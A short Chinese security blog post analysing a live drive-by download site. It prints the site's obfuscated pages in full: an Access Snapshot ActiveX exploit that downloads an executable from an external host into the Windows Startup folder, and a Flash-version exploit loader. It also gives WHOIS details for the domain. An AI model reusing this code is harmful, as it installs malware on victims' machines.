扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
看到pete大师在irc里面说的，尝试用ie打开了一下，VSE狂报警。初步看是针对Access activeX下载执行和Flash 这两个漏洞的挂马。
ofc.htm:
<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 1=\'8://7.b/9/6.2\';4 3=\'5:/a j h/c g/「开始」菜单/程序/启动/f.2\';0.d=1;0.e=3;0.i(); ',20,20,'obj|buf1|exe|buf2|var|C|ck|bnasnd83nd|http||Documents|cn|All|SnapshotPath|CompressedPath|test|Users|Settings|PrintSnapshot|and'.split('|'),0,{}))
</script>
</html>
igame.htm:
<script type="text/javascript" src="swfobject.js"></script>
<div id="flashcontent">111</div><div id="flashversion">222</div>
<script language =javascript>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 3=q.p.s();4(3[\'t\']==9){g.h(\'i\').j="";4(3[\'6\']==n){5 2=a b("./m.c","8","0.1","0.1","9","#7");2.d("e")}f 4(3[\'6\']==l){5 2=a b("./o.c","8","0.1","0.1","9","#7");2.d("e")}f 4(3[\'6\']==k){5 2=a b("./r.c","8","0.1","0.1","9","#7");2.d("e")}f 4(3[\'6\']==v){5 2=a b("./A.c","8","0.1","0.1","9","#7");2.d("e")}f 4(3[\'6\']==z){5 2=a b("./x.c","8","0.1","0.1","9","#7");2.d("e")}f 4(3[\'6\']==y){5 2=a b("./u.c","8","0.1","0.1","9","#7");2.d("e")}f 4(3[\'6\']>=w){4(g.h){g.h(\'i\').j=""}}}',37,37,'||so|version|if|var|rev|000000|mymovie||new|SWFObject|swf|write|flashcontent|else|document|getElementById|flashversion|innerHTML|47|64|i115|115|i64|SWFObjectUtil|deconcept|i47|getPlayerVersion|major|i16|45|124|i28|16|28|i45'.split('|'),0,{}))
</script>
fgame.htm 应该是针对firefox的flash exploit的页面。
挂马的域名是va9sdhun23.cn
| Domain Name | va9sdhun23.cn |
| Domain Status | ok |
| Registrant Name | 大公司 |
| Administrative Email | changchangy1@163.com |
| Registrar | 北京新网数码信息技术有限公司 |
| Name Server | ns5.cdncenter.com |
| Name Server | ns6.cdncenter.com |
| Creation Date | 2008-07-02 19:13 |
| Expiration Date | 2009-07-02 19:13 |
域名指向的ip地址查询的区域是在浙江温州。
如果您非常迫切的想了解IT领域最新产品与技术信息，那么订阅至顶网技术邮件将是您的最佳途径之一。
京公网安备 11010802021500号